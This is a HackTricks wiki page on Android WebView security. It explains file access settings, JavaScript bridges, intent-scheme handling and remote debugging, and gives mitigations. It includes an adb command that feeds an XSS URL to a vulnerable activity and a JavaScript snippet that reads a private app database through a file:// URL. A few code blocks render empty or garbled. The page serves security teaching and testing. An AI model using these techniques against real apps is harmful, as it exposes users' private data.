# Webview Attacks
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Guide on WebView Configurations and Security
### Overview of WebView Vulnerabilities
A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
.png>)
### **File Access in WebViews**
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ\_EXTERNAL\_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
#### **Deprecated Features: Universal and File Access From URLs**
* **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
* To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
* To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
* **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
* Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
#### **Secure File Loading**
For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
* Check with `getAllowFileAccess()`.
* Enable or disable with `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
### loadUrl
This is a common function used to load arbitrary URLs in a webviwe:
```java
webview.loadUrl("")
```
Ofc, a potential attacker should never be able to **control the URL** that an application is going to load.
### **JavaScript and Intent Scheme Handling**
* **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
* **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support\_url" that could be exploited to execute cross-site scripting (XSS) attacks.
.png>)
Exploitation example using adb:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView βes support_url "https://example.com/xss.html"
```
{% endcode %}
### Javascript Bridge
A feature is provided by Android that enables **JavaScript** in a WebView to invoke **native Android app functions**. This is achieved by utilizing the `addJavascriptInterface` method, which integrates JavaScript with native Android functionalities, termed as a _WebView JavaScript bridge_. Caution is advised as this method allows all pages within the WebView to access the registered JavaScript Interface object, posing a security risk if sensitive information is exposed through these interfaces.
* **Extreme caution is required** for apps targeting Android versions below 4.2 due to a vulnerability allowing remote code execution through malicious JavaScript, exploiting reflection.
#### Implementing a JavaScript Bridge
* **JavaScript interfaces** can interact with native code, as shown in the examples where a class method is exposed to JavaScript:
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
* JavaScript Bridge is enabled by adding an interface to the WebView:
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
* Potential exploitation through JavaScript, for instance, via an XSS attack, enables the calling of exposed Java methods:
```html
```
* To mitigate risks, **restrict JavaScript bridge usage** to code shipped with the APK and prevent loading JavaScript from remote sources. For older devices, set the minimum API level to 17.
### Reflection-based Remote Code Execution (RCE)
* A documented method allows achieving RCE through reflection by executing a specific payload. However, the `@JavascriptInterface` annotation prevents unauthorized method access, limiting the attack surface.
### Remote Debugging
* **Remote debugging** is possible with **Chrome Developer Tools**, enabling interaction and arbitrary JavaScript execution within the WebView content.
#### Enabling Remote Debugging
* Remote debugging can be enabled for all WebViews within an application by:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
* To conditionally enable debugging based on the application's debuggable state:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrate arbitrary files
* Demonstrates the exfiltration of arbitrary files using an XMLHttpRequest:
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## References
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.